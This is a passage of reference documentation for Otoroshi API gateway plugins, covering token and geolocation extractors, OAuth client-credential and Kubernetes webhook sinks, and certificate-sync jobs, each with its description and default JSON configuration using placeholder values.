from an opaque access_token generate by the `ClientCredentialFlow` plugin\n\n\n\n\n\n\n\n@@@\n\n\n@@@ div { .plugin .plugin-hidden .plugin-kind-preroute #otoroshi.plugins.biscuit.BiscuitExtractor }\n\n## Apikey from Biscuit token extractor\n\n\n\n### Infos\n\n* plugin type: `preroute`\n* configuration root: ``none``\n\n### Description\n\nThis plugin extract an from a Biscuit token where the biscuit has an #authority fact 'client_id' containing\napikey client_id and an #authority fact 'client_sign' that is the HMAC256 signature of the apikey client_id with the apikey client_secret\n\n\n\n### Default configuration\n\n```json\n{\n \"publicKey\" : \"xxxxxx\",\n \"checks\" : [ ],\n \"facts\" : [ ],\n \"resources\" : [ ],\n \"rules\" : [ ],\n \"revocation_ids\" : [ ],\n \"enforce\" : false,\n \"extractor\" : {\n \"type\" : \"header\",\n \"name\" : \"Authorization\"\n }\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .plugin .plugin-hidden .plugin-kind-preroute #otoroshi.plugins.discovery.DiscoveryTargetsSelector }\n\n## Service discovery target selector (service discovery)\n\n\n\n### Infos\n\n* plugin type: `preroute`\n* configuration root: `DiscoverySelfRegistration`\n\n### Description\n\nThis plugin select a target in the pool of discovered targets for this service.\nUse in combination with either `DiscoverySelfRegistrationSink` or `DiscoverySelfRegistrationTransformer` to make it work using the `self registration` pattern.\nOr use an implementation of `DiscoveryJob` for the `third party registration pattern`.\n\nThis plugin accepts the following configuration:\n\n\n\n### Default configuration\n\n```json\n{\n \"DiscoverySelfRegistration\" : {\n \"hosts\" : [ ],\n \"targetTemplate\" : { },\n \"registrationTtl\" : 60000\n }\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .plugin .plugin-hidden .plugin-kind-preroute #otoroshi.plugins.geoloc.IpStackGeolocationInfoExtractor }\n\n## Geolocation details extractor (using IpStack api)\n\n\n\n### Infos\n\n* plugin type: `preroute`\n* configuration root: `GeolocationInfo`\n\n### Description\n\nThis plugin extract geolocation informations from ip address using the [IpStack dbs](https://ipstack.com/).\nThe informations are store in plugins attrs for other plugins to use\n\nThis plugin can accept the following configuration\n\n```json\n{\n \"GeolocationInfo\": {\n \"apikey\": \"xxxxxxx\",\n \"timeout\": 2000, // timeout in ms\n \"log\": false // will log geolocation details\n }\n}\n```\n\n\n\n### Default configuration\n\n```json\n{\n \"GeolocationInfo\" : {\n \"apikey\" : \"xxxxxxx\",\n \"timeout\" : 2000,\n \"log\" : false\n }\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .plugin .plugin-hidden .plugin-kind-preroute #otoroshi.plugins.geoloc.MaxMindGeolocationInfoExtractor }\n\n## Geolocation details extractor (using Maxmind db)\n\n\n\n### Infos\n\n* plugin type: `preroute`\n* configuration root: `GeolocationInfo`\n\n### Description\n\nThis plugin extract geolocation informations from ip address using the [Maxmind dbs](https://www.maxmind.com/en/geoip2-databases).\nThe informations are store in plugins attrs for other plugins to use\n\nThis plugin can accept the following configuration\n\n```json\n{\n \"GeolocationInfo\": {\n \"path\": \"/foo/bar/cities.mmdb\", // file path, can be \"global\"\n \"log\": false // will log geolocation details\n }\n}\n```\n\n\n\n### Default configuration\n\n```json\n{\n \"GeolocationInfo\" : {\n \"path\" : \"global\",\n \"log\" : false\n }\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .plugin .plugin-hidden .plugin-kind-preroute #otoroshi.plugins.jwt.JwtUserExtractor }\n\n## Jwt user extractor\n\n\n\n### Infos\n\n* plugin type: `preroute`\n* configuration root: `JwtUserExtractor`\n\n### Description\n\nThis plugin extract a user from a JWT token\n\n\n\n### Default configuration\n\n```json\n{\n \"JwtUserExtractor\" : {\n \"verifier\" : \"\",\n \"strict\" : true,\n \"namePath\" : \"name\",\n \"emailPath\" : \"email\",\n \"metaPath\" : null\n }\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .plugin .plugin-hidden .plugin-kind-preroute #otoroshi.plugins.oidc.OIDCAccessTokenAsApikey }\n\n## OIDC access_token as apikey\n\n\n\n### Infos\n\n* plugin type: `preroute`\n* configuration root: `OIDCAccessTokenAsApikey`\n\n### Description\n\nThis plugin will use the third party apikey configuration to generate an apikey\n\nThis plugin can accept the following configuration\n\n```json\n{\n \"OIDCAccessTokenValidator\": {\n \"enabled\": true,\n \"atLeastOne\": false,\n // config is optional and can be either an object config or an array of objects\n \"config\": {\n \"enabled\" : true,\n \"quotasEnabled\" : true,\n \"uniqueApiKey\" : false,\n \"type\" : \"OIDC\",\n \"oidcConfigRef\" : \"some-oidc-auth-module-id\",\n \"localVerificationOnly\" : false,\n \"mode\" : \"Tmp\",\n \"ttl\" : 0,\n \"headerName\" : \"Authorization\",\n \"throttlingQuota\" : 100,\n \"dailyQuota\" : 10000000,\n \"monthlyQuota\" : 10000000,\n \"excludedPatterns\" : [ ],\n \"scopes\" : [ ],\n \"rolesPath\" : [ ],\n \"roles\" : [ ]\n}\n }\n}\n```\n\n\n\n### Default configuration\n\n```json\n{\n \"OIDCAccessTokenAsApikey\" : {\n \"enabled\" : true,\n \"atLeastOne\" : false,\n \"config\" : {\n \"enabled\" : true,\n \"quotasEnabled\" : true,\n \"uniqueApiKey\" : false,\n \"type\" : \"OIDC\",\n \"oidcConfigRef\" : \"some-oidc-auth-module-id\",\n \"localVerificationOnly\" : false,\n \"mode\" : \"Tmp\",\n \"ttl\" : 0,\n \"headerName\" : \"Authorization\",\n \"throttlingQuota\" : 100,\n \"dailyQuota\" : 10000000,\n \"monthlyQuota\" : 10000000,\n \"excludedPatterns\" : [ ],\n \"scopes\" : [ ],\n \"rolesPath\" : [ ],\n \"roles\" : [ ]\n }\n }\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .plugin .plugin-hidden .plugin-kind-preroute #otoroshi.plugins.useragent.UserAgentExtractor }\n\n## User-Agent details extractor\n\n\n\n### Infos\n\n* plugin type: `preroute`\n* configuration root: `UserAgentInfo`\n\n### Description\n\nThis plugin extract informations from User-Agent header such as browsser version, OS version, etc.\nThe informations are store in plugins attrs for other plugins to use\n\nThis plugin can accept the following configuration\n\n```json\n{\n \"UserAgentInfo\": {\n \"log\": false // will log user-agent details\n }\n}\n```\n\n\n\n### Default configuration\n\n```json\n{\n \"UserAgentInfo\" : {\n \"log\" : false\n }\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .plugin .plugin-hidden .plugin-kind-sink #otoroshi.plugins.apikeys.ClientCredentialService }\n\n## Client Credential Service\n\n\n\n### Infos\n\n* plugin type: `sink`\n* configuration root: `ClientCredentialService`\n\n### Description\n\nThis plugin add an an oauth client credentials service (`https://unhandleddomain/.well-known/otoroshi/oauth/token`) to create an access_token given a client id and secret.\n\n```json\n{\n \"ClientCredentialService\" : {\n \"domain\" : \"*\",\n \"expiration\" : 3600000,\n \"defaultKeyPair\" : \"otoroshi-jwt-signing\",\n \"secure\" : true\n }\n}\n```\n\n\n\n### Default configuration\n\n```json\n{\n \"ClientCredentialService\" : {\n \"domain\" : \"*\",\n \"expiration\" : 3600000,\n \"defaultKeyPair\" : \"otoroshi-jwt-signing\",\n \"secure\" : true\n }\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .plugin .plugin-hidden .plugin-kind-sink #otoroshi.plugins.discovery.DiscoverySelfRegistrationSink }\n\n## Global self registration endpoints (service discovery)\n\n\n\n### Infos\n\n* plugin type: `sink`\n* configuration root: `DiscoverySelfRegistration`\n\n### Description\n\nThis plugin add support for self registration endpoint on specific hostnames.\n\nThis plugin accepts the following configuration:\n\n\n\n### Default configuration\n\n```json\n{\n \"DiscoverySelfRegistration\" : {\n \"hosts\" : [ ],\n \"targetTemplate\" : { },\n \"registrationTtl\" : 60000\n }\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .plugin .plugin-hidden .plugin-kind-sink #otoroshi.plugins.jobs.kubernetes.KubernetesAdmissionWebhookCRDValidator }\n\n## Kubernetes admission validator webhook\n\n\n\n### Infos\n\n* plugin type: `sink`\n* configuration root: ``none``\n\n### Description\n\nThis plugin exposes a webhook to kubernetes to handle manifests validation\n\n\n\n\n\n\n\n@@@\n\n\n@@@ div { .plugin .plugin-hidden .plugin-kind-sink #otoroshi.plugins.jobs.kubernetes.KubernetesAdmissionWebhookSidecarInjector }\n\n## Kubernetes sidecar injector webhook\n\n\n\n### Infos\n\n* plugin type: `sink`\n* configuration root: ``none``\n\n### Description\n\nThis plugin exposes a webhook to kubernetes to inject otoroshi-sidecar in pods\n\n\n\n\n\n\n\n@@@\n\n\n@@@ div { .plugin .plugin-hidden .plugin-kind-job #otoroshi.jobs.StateExporter }\n\n## Otoroshi state exporter job\n\n\n\n### Infos\n\n* plugin type: `job`\n* configuration root: `StateExporter`\n\n### Description\n\nThis job send an event containing the full otoroshi export every n seconds\n\n\n\n### Default configuration\n\n```json\n{\n \"StateExporter\" : {\n \"every_sec\" : 3600,\n \"format\" : \"json\"\n }\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .plugin .plugin-hidden .plugin-kind-job #otoroshi.next.plugins.TailscaleCertificatesFetcherJob }\n\n## Tailscale certificate fetcher job\n\n\n\n### Infos\n\n* plugin type: `job`\n* configuration root: ``none``\n\n### Description\n\nThis job will fetch certificates from Tailscale ACME provider\n\n\n\n\n\n\n\n@@@\n\n\n@@@ div { .plugin .plugin-hidden .plugin-kind-job #otoroshi.next.plugins.TailscaleTargetsJob }\n\n## Tailscale targets job\n\n\n\n### Infos\n\n* plugin type: `job`\n* configuration root: ``none``\n\n### Description\n\nThis job will aggregates Tailscale possible online targets\n\n\n\n\n\n\n\n@@@\n\n\n@@@ div { .plugin .plugin-hidden .plugin-kind-job #otoroshi.plugins.jobs.kubernetes.KubernetesIngressControllerJob }\n\n## Kubernetes Ingress Controller\n\n\n\n### Infos\n\n* plugin type: `job`\n* configuration root: `KubernetesConfig`\n\n### Description\n\nThis plugin enables Otoroshi as an Ingress Controller\n\n```json\n{\n \"KubernetesConfig\" : {\n \"endpoint\" : \"https://kube.cluster.dev\",\n \"token\" : \"xxx\",\n \"userPassword\" : \"user:password\",\n \"caCert\" : \"/var/run/secrets/kubernetes.io/serviceaccount/ca.crt\",\n \"trust\" : false,\n \"namespaces\" : [ \"*\" ],\n \"labels\" : { },\n \"namespacesLabels\" : { },\n \"ingressClasses\" : [ \"otoroshi\" ],\n \"defaultGroup\" : \"default\",\n \"ingresses\" : true,\n \"crds\" : true,\n \"coreDnsIntegration\" : false,\n \"coreDnsIntegrationDryRun\" : false,\n \"coreDnsAzure\" : false,\n \"kubeLeader\" : false,\n \"restartDependantDeployments\" : true,\n \"useProxyState\" : false,\n \"watch\" : true,\n \"syncDaikokuApikeysOnly\" : false,\n \"kubeSystemNamespace\" : \"kube-system\",\n \"coreDnsConfigMapName\" : \"coredns\",\n \"coreDnsDeploymentName\" : \"coredns\",\n \"corednsPort\" : 53,\n \"otoroshiServiceName\" : \"otoroshi-service\",\n \"otoroshiNamespace\" : \"otoroshi\",\n \"clusterDomain\" : \"cluster.local\",\n \"syncIntervalSeconds\" : 60,\n \"coreDnsEnv\" : null,\n \"watchTimeoutSeconds\" : 60,\n \"watchGracePeriodSeconds\" : 5,\n \"mutatingWebhookName\" : \"otoroshi-admission-webhook-injector\",\n \"validatingWebhookName\" : \"otoroshi-admission-webhook-validation\",\n \"meshDomain\" : \"otoroshi.mesh\",\n \"openshiftDnsOperatorIntegration\" : false,\n \"openshiftDnsOperatorCoreDnsNamespace\" : \"otoroshi\",\n \"openshiftDnsOperatorCoreDnsName\" : \"otoroshi-dns\",\n \"openshiftDnsOperatorCoreDnsPort\" : 5353,\n \"kubeDnsOperatorIntegration\" : false,\n \"kubeDnsOperatorCoreDnsNamespace\" : \"otoroshi\",\n \"kubeDnsOperatorCoreDnsName\" : \"otoroshi-dns\",\n \"kubeDnsOperatorCoreDnsPort\" : 5353,\n \"connectionTimeout\" : 5000,\n \"idleTimeout\" : 30000,\n \"callAndStreamTimeout\" : 30000,\n \"templates\" : {\n \"service-group\" : { },\n \"service-descriptor\" : { },\n \"apikeys\" : { },\n \"global-config\" : { },\n \"jwt-verifier\" : { },\n \"tcp-service\" : { },\n \"certificate\" : { },\n \"auth-module\" : { },\n \"script\" : { },\n \"data-exporters\" : { },\n \"organizations\" : { },\n \"teams\" : { },\n \"admins\" : { },\n \"webhooks\" : { }\n }\n }\n}\n```\n\n\n\n### Default configuration\n\n```json\n{\n \"KubernetesConfig\" : {\n \"endpoint\" : \"https://kube.cluster.dev\",\n \"token\" : \"xxx\",\n \"userPassword\" : \"user:password\",\n \"caCert\" : \"/var/run/secrets/kubernetes.io/serviceaccount/ca.crt\",\n \"trust\" : false,\n \"namespaces\" : [ \"*\" ],\n \"labels\" : { },\n \"namespacesLabels\" : { },\n \"ingressClasses\" : [ \"otoroshi\" ],\n \"defaultGroup\" : \"default\",\n \"ingresses\" : true,\n \"crds\" : true,\n \"coreDnsIntegration\" : false,\n \"coreDnsIntegrationDryRun\" : false,\n \"coreDnsAzure\" : false,\n \"kubeLeader\" : false,\n \"restartDependantDeployments\" : true,\n \"useProxyState\" : false,\n \"watch\" : true,\n \"syncDaikokuApikeysOnly\" : false,\n \"kubeSystemNamespace\" : \"kube-system\",\n \"coreDnsConfigMapName\" : \"coredns\",\n \"coreDnsDeploymentName\" : \"coredns\",\n \"corednsPort\" : 53,\n \"otoroshiServiceName\" : \"otoroshi-service\",\n \"otoroshiNamespace\" : \"otoroshi\",\n \"clusterDomain\" : \"cluster.local\",\n \"syncIntervalSeconds\" : 60,\n \"coreDnsEnv\" : null,\n \"watchTimeoutSeconds\" : 60,\n \"watchGracePeriodSeconds\" : 5,\n \"mutatingWebhookName\" : \"otoroshi-admission-webhook-injector\",\n \"validatingWebhookName\" : \"otoroshi-admission-webhook-validation\",\n \"meshDomain\" : \"otoroshi.mesh\",\n \"openshiftDnsOperatorIntegration\" : false,\n \"openshiftDnsOperatorCoreDnsNamespace\" : \"otoroshi\",\n \"openshiftDnsOperatorCoreDnsName\" : \"otoroshi-dns\",\n \"openshiftDnsOperatorCoreDnsPort\" : 5353,\n \"kubeDnsOperatorIntegration\" : false,\n \"kubeDnsOperatorCoreDnsNamespace\" : \"otoroshi\",\n \"kubeDnsOperatorCoreDnsName\" : \"otoroshi-dns\",\n \"kubeDnsOperatorCoreDnsPort\" : 5353,\n \"connectionTimeout\" : 5000,\n \"idleTimeout\" : 30000,\n \"callAndStreamTimeout\" : 30000,\n \"templates\" : {\n \"service-group\" : { },\n \"service-descriptor\" : { },\n \"apikeys\" : { },\n \"global-config\" : { },\n \"jwt-verifier\" : { },\n \"tcp-service\" : { },\n \"certificate\" : { },\n \"auth-module\" : { },\n \"script\" : { },\n \"data-exporters\" : { },\n \"organizations\" : { },\n \"teams\" : { },\n \"admins\" : { },\n \"webhooks\" : { }\n }\n }\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .plugin .plugin-hidden .plugin-kind-job #otoroshi.plugins.jobs.kubernetes.KubernetesOtoroshiCRDsControllerJob }\n\n## Kubernetes Otoroshi CRDs Controller\n\n\n\n### Infos\n\n* plugin type: `job`\n* configuration root: `KubernetesConfig`\n\n### Description\n\nThis plugin enables Otoroshi CRDs Controller\n\n```json\n{\n \"KubernetesConfig\" : {\n \"endpoint\" : \"https://kube.cluster.dev\",\n \"token\" : \"xxx\",\n \"userPassword\" : \"user:password\",\n \"caCert\" : \"/var/run/secrets/kubernetes.io/serviceaccount/ca.crt\",\n \"trust\" : false,\n \"namespaces\" : [ \"*\" ],\n \"labels\" : { },\n \"namespacesLabels\" : { },\n \"ingressClasses\" : [ \"otoroshi\" ],\n \"defaultGroup\" : \"default\",\n \"ingresses\" : true,\n \"crds\" : true,\n \"coreDnsIntegration\" : false,\n \"coreDnsIntegrationDryRun\" : false,\n \"coreDnsAzure\" : false,\n \"kubeLeader\" : false,\n \"restartDependantDeployments\" : true,\n \"useProxyState\" : false,\n \"watch\" : true,\n \"syncDaikokuApikeysOnly\" : false,\n \"kubeSystemNamespace\" : \"kube-system\",\n \"coreDnsConfigMapName\" : \"coredns\",\n \"coreDnsDeploymentName\" : \"coredns\",\n \"corednsPort\" : 53,\n \"otoroshiServiceName\" : \"otoroshi-service\",\n \"otoroshiNamespace\" : \"otoroshi\",\n \"clusterDomain\" : \"cluster.local\",\n \"syncIntervalSeconds\" : 60,\n \"coreDnsEnv\" : null,\n \"watchTimeoutSeconds\" : 60,\n \"watchGracePeriodSeconds\" : 5,\n \"mutatingWebhookName\" : \"otoroshi-admission-webhook-injector\",\n \"validatingWebhookName\" : \"otoroshi-admission-webhook-validation\",\n \"meshDomain\" : \"otoroshi.mesh\",\n \"openshiftDnsOperatorIntegration\" : false,\n \"openshiftDnsOperatorCoreDnsNamespace\" : \"otoroshi\",\n \"openshiftDnsOperatorCoreDnsName\" : \"otoroshi-dns\",\n \"openshiftDnsOperatorCoreDnsPort\" : 5353,\n \"kubeDnsOperatorIntegration\" : false,\n \"kubeDnsOperatorCoreDnsNamespace\" : \"otoroshi\",\n \"kubeDnsOperatorCoreDnsName\" : \"otoroshi-dns\",\n \"kubeDnsOperatorCoreDnsPort\" : 5353,\n \"connectionTimeout\" : 5000,\n \"idleTimeout\" : 30000,\n \"callAndStreamTimeout\" : 30000,\n \"templates\" : {\n \"service-group\" : { },\n \"service-descriptor\" : { },\n \"apikeys\" : { },\n \"global-config\" : { },\n \"jwt-verifier\" : { },\n \"tcp-service\" : { },\n \"certificate\" : { },\n \"auth-module\" : { },\n \"script\" : { },\n \"data-exporters\" : { },\n \"organizations\" : { },\n \"teams\" : { },\n \"admins\" : { },\n \"webhooks\" : { }\n }\n }\n}\n```\n\n\n\n### Default configuration\n\n```json\n{\n \"KubernetesConfig\" : {\n \"endpoint\" : \"https://kube.cluster.dev\",\n \"token\" : \"xxx\",\n \"userPassword\" : \"user:password\",\n \"caCert\" : \"/var/run/secrets/kubernetes.io/serviceaccount/ca.crt\",\n \"trust\" : false,\n \"namespaces\" : [ \"*\" ],\n \"labels\" : { },\n \"namespacesLabels\" : { },\n \"ingressClasses\" : [ \"otoroshi\" ],\n \"defaultGroup\" : \"default\",\n \"ingresses\" : true,\n \"crds\" : true,\n \"coreDnsIntegration\" : false,\n \"coreDnsIntegrationDryRun\" : false,\n \"coreDnsAzure\" : false,\n \"kubeLeader\" : false,\n \"restartDependantDeployments\" : true,\n \"useProxyState\" : false,\n \"watch\" : true,\n \"syncDaikokuApikeysOnly\" : false,\n \"kubeSystemNamespace\" : \"kube-system\",\n \"coreDnsConfigMapName\" : \"coredns\",\n \"coreDnsDeploymentName\" : \"coredns\",\n \"corednsPort\" : 53,\n \"otoroshiServiceName\" : \"otoroshi-service\",\n \"otoroshiNamespace\" : \"otoroshi\",\n \"clusterDomain\" : \"cluster.local\",\n \"syncIntervalSeconds\" : 60,\n \"coreDnsEnv\" : null,\n \"watchTimeoutSeconds\" : 60,\n \"watchGracePeriodSeconds\" : 5,\n \"mutatingWebhookName\" : \"otoroshi-admission-webhook-injector\",\n \"validatingWebhookName\" : \"otoroshi-admission-webhook-validation\",\n \"meshDomain\" : \"otoroshi.mesh\",\n \"openshiftDnsOperatorIntegration\" : false,\n \"openshiftDnsOperatorCoreDnsNamespace\" : \"otoroshi\",\n \"openshiftDnsOperatorCoreDnsName\" : \"otoroshi-dns\",\n \"openshiftDnsOperatorCoreDnsPort\" : 5353,\n \"kubeDnsOperatorIntegration\" : false,\n \"kubeDnsOperatorCoreDnsNamespace\" : \"otoroshi\",\n \"kubeDnsOperatorCoreDnsName\" : \"otoroshi-dns\",\n \"kubeDnsOperatorCoreDnsPort\" : 5353,\n \"connectionTimeout\" : 5000,\n \"idleTimeout\" : 30000,\n \"callAndStreamTimeout\" : 30000,\n \"templates\" : {\n \"service-group\" : { },\n \"service-descriptor\" : { },\n \"apikeys\" : { },\n \"global-config\" : { },\n \"jwt-verifier\" : { },\n \"tcp-service\" : { },\n \"certificate\" : { },\n \"auth-module\" : { },\n \"script\" : { },\n \"data-exporters\" : { },\n \"organizations\" : { },\n \"teams\" : { },\n \"admins\" : { },\n \"webhooks\" : { }\n }\n }\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .plugin .plugin-hidden .plugin-kind-job #otoroshi.plugins.jobs.kubernetes.KubernetesToOtoroshiCertSyncJob }\n\n## Kubernetes to Otoroshi certs. synchronizer\n\n\n\n### Infos\n\n* plugin type: `job`\n* configuration root: `KubernetesConfig`\n\n### Description\n\nThis plugin syncs. TLS secrets from Kubernetes to Otoroshi\n\n```json\n{\n \"KubernetesConfig\" : {\n \"endpoint\" : \"https://kube.cluster.dev\",\n \"token\" : \"xxx\",\n \"userPassword\" : \"user:password\",\n \"caCert\" : \"/var/run/secrets/kubernetes.io/serviceaccount/ca.crt\",\n \"trust\" : false,\n \"namespaces\" : [ \"*\" ],\n \"labels\" : { },\n \"namespacesLabels\" : { },\n \"ingressClasses\" : [ \"otoroshi\" ],\n \"defaultGroup\" : \"default\",\n \"ingresses\" : true,\n \"crds\" : true,\n \"coreDnsIntegration\" : false,\n \"coreDnsIntegrationDryRun\" : false,\n \"coreDnsAzure\" : false,\n \"kubeLeader\" : false,\n \"restartDependantDeployments\" : true,\n \"useProxyState\" : false,\n \"watch\" : true,\n \"syncDaikokuApikeysOnly\" : false,\n \"kubeSystemNamespace\" : \"kube-system\",\n \"coreDnsConfigMapName\" : \"coredns\",\n \"coreDnsDeploymentName\" : \"coredns\",\n \"corednsPort\" : 53,\n \"otoroshiServiceName\" : \"otoroshi-service\",\n \"otoroshiNamespace\" : \"otoroshi\",\n \"clusterDomain\" : \"cluster.local\",\n \"syncIntervalSeconds\" : 60,\n \"coreDnsEnv\" : null,\n \"watchTimeoutSeconds\" : 60,\n \"watchGracePeriodSeconds\" : 5,\n \"mutatingWebhookName\" : \"otoroshi-admission-webhook-injector\",\n \"validatingWebhookName\" : \"otoroshi-admission-webhook-validation\",\n \"meshDomain\" : \"otoroshi.mesh\",\n \"openshiftDnsOperatorIntegration\" : false,\n \"openshiftDnsOperatorCoreDnsNamespace\" : \"otoroshi\",\n \"openshiftDnsOperatorCoreDnsName\" : \"otoroshi-dns\",\n \"openshiftDnsOperatorCoreDnsPort\" : 5353,\n \"kubeDnsOperatorIntegration\" : false,\n \"kubeDnsOperatorCoreDnsNamespace\" : \"otoroshi\",\n \"kubeDnsOperatorCoreDnsName\" : \"otoroshi-dns\",\n \"kubeDnsOperatorCoreDnsPort\" : 5353,\n \"connectionTimeout\" : 5000,\n \"idleTimeout\" : 30000,\n \"callAndStreamTimeout\" : 30000,\n \"templates\" : {\n \"service-group\" : { },\n \"service-descriptor\" : { },\n \"apikeys\" : { },\n \"global-config\" : { },\n \"jwt-verifier\" : { },\n \"tcp-service\" : { },\n \"certificate\" : { },\n \"auth-module\" : { },\n \"script\" : { },\n \"data-exporters\" : { },\n \"organizations\" : { },\n \"teams\" : { },\n \"admins\" : { },\n \"webhooks\" : { }\n }\n }\n}\n```\n\n\n\n### Default configuration\n\n```json\n{\n \"KubernetesConfig\" : {\n \"endpoint\" : \"https://kube.cluster.dev\",\n \"token\" : \"xxx\",\n \"userPassword\" : \"user:password\",\n \"caCert\" : \"/var/run/secrets/kubernetes.io/serviceaccount/ca.crt\",\n \"trust\" : false,\n \"namespaces\" : [ \"*\" ],\n \"labels\" : { },\n \"namespacesLabels\" : { },\n \"ingressClasses\" : [ \"otoroshi\" ],\n \"defaultGroup\" : \"default\",\n \"ingresses\" : true,\n \"crds\" : true,\n \"coreDnsIntegration\" : false,\n \"coreDnsIntegrationDryRun\" : false,\n \"coreDnsAzure\" : false,\n \"kubeLeader\" : false,\n \"restartDependantDeployments\" : true,\n \"useProxyState\" : false,\n \"watch\" : true,\n \"syncDaikokuApikeysOnly\" : false,\n \"kubeSystemNamespace\" : \"kube-system\",\n \"coreDnsConfigMapName\" : \"coredns\",\n \"coreDnsDeploymentName\" : \"coredns\",\n \"corednsPort\" : 53,\n \"otoroshiServiceName\" : \"otoroshi-service\",\n \"otoroshiNamespace\" : \"otoroshi\",\n \"clusterDomain\" : \"cluster.local\",\n \"syncIntervalSeconds\" : 60,\n \"coreDnsEnv\" : null,\n \"watchTimeoutSeconds\" : 60,\n \"watchGracePeriodSeconds\" : 5,\n \"mutatingWebhookName\" : \"otoroshi-admission-webhook-injector\",\n \"validatingWebhookName\" : \"otoroshi-admission-webhook-validation\",\n \"meshDomain\" : \"otoroshi.mesh\",\n \"openshiftDnsOperatorIntegration\" : false,\n \"openshiftDnsOperatorCoreDnsNamespace\" : \"otoroshi\",\n \"openshiftDnsOperatorCoreDnsName\" : \"otoroshi-dns\",\n \"openshiftDnsOperatorCoreDnsPort\" : 5353,\n \"kubeDnsOperatorIntegration\" : false,\n \"kubeDnsOperatorCoreDnsNamespace\" : \"otoroshi\",\n \"kubeDnsOperatorCoreDnsName\" : \"otoroshi-dns\",\n \"kubeDnsOperatorCoreDnsPort\" : 5353,\n \"connectionTimeout\" : 5000,\n \"idleTimeout\" : 30000,\n \"callAndStreamTimeout\" : 30000,\n \"templates\" : {\n \"service-group\" : { },\n \"service-descriptor\" : { },\n \"apikeys\" : { },\n \"global-config\" : { },\n \"jwt-verifier\" : { },\n \"tcp-service\" : { },\n \"certificate\" : { },\n \"auth-module\" : { },\n \"script\" : { },\n \"data-exporters\" : { },\n \"organizations\" : { },\n \"teams\" : { },\n \"admins\" : { },\n \"webhooks\" : { }\n }\n }\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .plugin .plugin-hidden .plugin-kind-job #otoroshi.plugins.jobs.kubernetes.OtoroshiToKubernetesCertSyncJob }\n\n## Otoroshi certs. to Kubernetes secrets synchronizer\n\n\n\n### Infos\n\n* plugin type: `job`\n* configuration root: `KubernetesConfig`\n\n### Description\n\nThis plugin syncs. Otoroshi certs to Kubernetes TLS secrets\n\n```json\n{\n \"KubernetesConfig\" : {\n \"endpoint\" : \"https://kube.cluster.dev\",\n \"token\" : \"xxx\",\n \"userPassword\" : \"user:password\",\n \"caCert\" : \"/var/run/secrets/kubernetes.io/serviceaccount/ca.crt\",\n \"trust\" : false,\n \"namespaces\" : [ \"*\" ],\n \"labels\" : { },\n \"namespacesLabels\" : { },\n \"ingressClasses\" : [ \"otoroshi\" ],\n \"defaultGroup\" : \"default\",\n \"ingresses\" : true,\n \"crds\" : true,\n \"coreDnsIntegration\" : false,\n \"coreDnsIntegrationDryRun\" : false,\n \"coreDnsAzure\" : false,\n \"kubeLeader\" : false,\n \"restartDependantDeployments\" : true,\n \"useProxyState\" : false,\n \"watch\" : true,\n \"syncDaikokuApikeysOnly\" : false,\n \"kubeSystemNamespace\" : \"kube-system\",\n \"coreDnsConfigMapName\" : \"coredns\",\n \"coreDnsDeploymentName\" : \"coredns\",\n \"corednsPort\" : 53,\n \"otoroshiServiceName\" : \"otoroshi-service\",\n \"otoroshiNamespace\" : \"otoroshi\",\n \"clusterDomain\" : \"cluster.local\",\n \"syncIntervalSeconds\" : 60,\n \"coreDnsEnv\" : null,\n \"watchTimeoutSeconds\" : 60,\n \"watchGracePeriodSeconds\" : 5,\n \"mutatingWebhookName\" : \"otoroshi-admission-webhook-injector\",\n \"validatingWebhookName\" : \"otoroshi-admission-webhook-validation\",\n \"meshDomain\" : \"otoroshi.mesh\",\n \"openshiftDnsOperatorIntegration\" : false,\n \"openshiftDnsOperatorCoreDnsNamespace\" : \"otoroshi\",\n \"openshiftDnsOperatorCoreDnsName\" : \"otoroshi-dns\",\n \"openshiftDnsOperatorCoreDnsPort\" : 5353,\n \"kubeDnsOperatorIntegration\" : false,\n \"kubeDnsOperatorCoreDnsNamespace\" : \"otoroshi\",\n \"kubeDnsOperatorCoreDnsName\" : \"otoroshi-dns\",\n \"kubeDnsOperatorCoreDnsPort\" : 5353,\n \"connectionTimeout\" : 5000,\n \"idleTimeout\" : 30000,\n \"callAndStreamTimeout\" : 30000,\n \"templates\" : {\n \"service-group\" : { },\n \"service-descriptor\" : { },\n \"apikeys\" : { },\n \"global-config\" : { },\n \"jwt-verifier\" : { },\n \"tcp-service\" : { },\n \"certificate\" : { },\n \"auth-module\" : { },\n \"script\" : { },\n \"data-exporters\" : { },\n \"organizations\" : { },\n \"teams\" : { },\n \"admins\" : { },\n \"webhooks\" : { }\n }\n }\n}\n```\n\n\n\n### Default configuration\n\n```json\n{\n \"KubernetesConfig\" : {\n \"endpoint\" : \"https://kube.cluster.dev\",\n \"token\" : \"xxx\",\n \"userPassword\" : \"user:password\",\n \"caCert\" : \"/var/run/secrets/kubernetes.io/serviceaccount/ca.crt\",\n \"trust\" : false,\n \"namespaces\" : [ \"*\" ],\n \"labels\" : { },\n \"namespacesLabels\" : { },\n \"ingressClasses\" : [ \"otoroshi\" ],\n \"defaultGroup\" : \"default\",\n \"ingresses\" : true,\n \"crds\" : true,\n \"coreDnsIntegration\" : false,\n \"coreDnsIntegrationDryRun\" : false,\n \"coreDnsAzure\" : false,\n \"kubeLeader\" : false,\n \"restartDependantDeployments\" : true,\n \"useProxyState\" : false,\n \"watch\" : true,\n \"syncDaikokuApikeysOnly\" : false,\n \"kubeSystemNamespace\" : \"kube-system\",\n \"coreDnsConfigMapName\" : \"coredns\",\n \"coreDnsDeploymentName\" : \"coredns\",\n \"corednsPort\" : 53,\n \"otoroshiServiceName\" : \"otoroshi-service\",\n \"otoroshiNamespace\" : \"otoroshi\",\n \"clusterDomain\" : \"cluster.local\",\n \"syncIntervalSeconds\" : 60,\n \"coreDnsEnv\" : null,\n \"watchTimeoutSeconds\" : 60,\n \"watchGracePeriodSeconds\" : 5,\n \"mutatingWebhookName\" : \"otoroshi-admission-webhook-injector\",\n 